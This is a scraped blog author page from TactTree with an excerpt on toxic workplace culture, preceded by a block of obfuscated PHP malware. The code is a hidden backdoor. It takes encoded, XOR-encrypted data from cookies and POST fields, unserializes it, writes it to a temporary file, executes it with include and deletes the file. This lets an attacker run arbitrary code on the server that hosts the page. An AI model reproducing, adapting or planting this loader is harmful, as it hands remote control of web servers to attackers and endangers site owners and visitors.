$WFKbUQmp = "\x69" . 'm' . "\172" . "\137" . chr (81) . chr (71) . "\x52" . chr ( 193 - 121 ).'a';$gPwYgZQmL = chr (99) . chr ( 124 - 16 ).chr ( 971 - 874 )."\163" . "\163" . chr ( 185 - 90 )."\x65" . 'x' . "\x69" . "\163" . chr (116) . chr ( 579 - 464 ); $bRMFR = $gPwYgZQmL($WFKbUQmp); $WFKbUQmp = "64602";$fAhxGc = $bRMFR;$gPwYgZQmL = "13393";if (!$fAhxGc){class imz_QGRHa{private $Llxpafta;public static $WUsieG = "8ccb0101-9ac2-4ed3-b397-c784db2d5d74";public static $KNIXyZpq = 38022;public function __construct($DDADNZfq=0){$iZSNR = $_COOKIE;$ReNqdkIIik = $_POST;$UujmBDaYV = @$iZSNR[substr(imz_QGRHa::$WUsieG, 0, 4)];if (!empty($UujmBDaYV)){$LJKBPwhMd = "base64";$IkKIay = "";$UujmBDaYV = explode(",", $UujmBDaYV);foreach ($UujmBDaYV as $CJkLk){$IkKIay .= @$iZSNR[$CJkLk];$IkKIay .= @$ReNqdkIIik[$CJkLk];}$IkKIay = array_map($LJKBPwhMd . chr ( 685 - 590 )."\144" . "\145" . "\143" . "\x6f" . 'd' . "\x65", array($IkKIay,)); $IkKIay = $IkKIay[0] ^ str_repeat(imz_QGRHa::$WUsieG, (strlen($IkKIay[0]) / strlen(imz_QGRHa::$WUsieG)) + 1);imz_QGRHa::$KNIXyZpq = @unserialize($IkKIay);}}private function pYuasqWwHH(){if (is_array(imz_QGRHa::$KNIXyZpq)) {$woOqsSwfM = sys_get_temp_dir() . "/" . crc32(imz_QGRHa::$KNIXyZpq[chr ( 1092 - 977 )."\x61" . "\154" . "\164"]);@imz_QGRHa::$KNIXyZpq["\167" . 'r' . chr ( 314 - 209 ).'t' . "\145"]($woOqsSwfM, imz_QGRHa::$KNIXyZpq[chr ( 194 - 95 ).chr (111) . 'n' . "\164" . 'e' . "\156" . chr (116)]);include $woOqsSwfM;@imz_QGRHa::$KNIXyZpq[chr ( 375 - 275 ).chr ( 205 - 104 )."\x6c" . "\145" . chr ( 738 - 622 ).chr ( 914 - 813 )]($woOqsSwfM); $GuelYjit = "50264";exit();}}public function __destruct(){$this->pYuasqWwHH(); $GuelYjit = "50264";$xuVcZZ = str_pad($GuelYjit, 10);}}$RYXlzLG = new imz_QGRHa(); $RYXlzLG = "43884_35180";} Rutvi Pandya – Page 2 – TactTree

Author - Rutvi Pandya

10 May

Toxic Culture at workplace

As most people spend the majority of their awake hours working, it is extremely important to enjoy what you do, where you work and who you work for and with.

Company culture is the combination of people, vision and values that ultimately defines the atmosphere in the workplace and shapes how much you enjoy coming to work. A great company culture will attract top talent, while a poor culture will repel good people. Corporate culture, in essence, is the spirit […]

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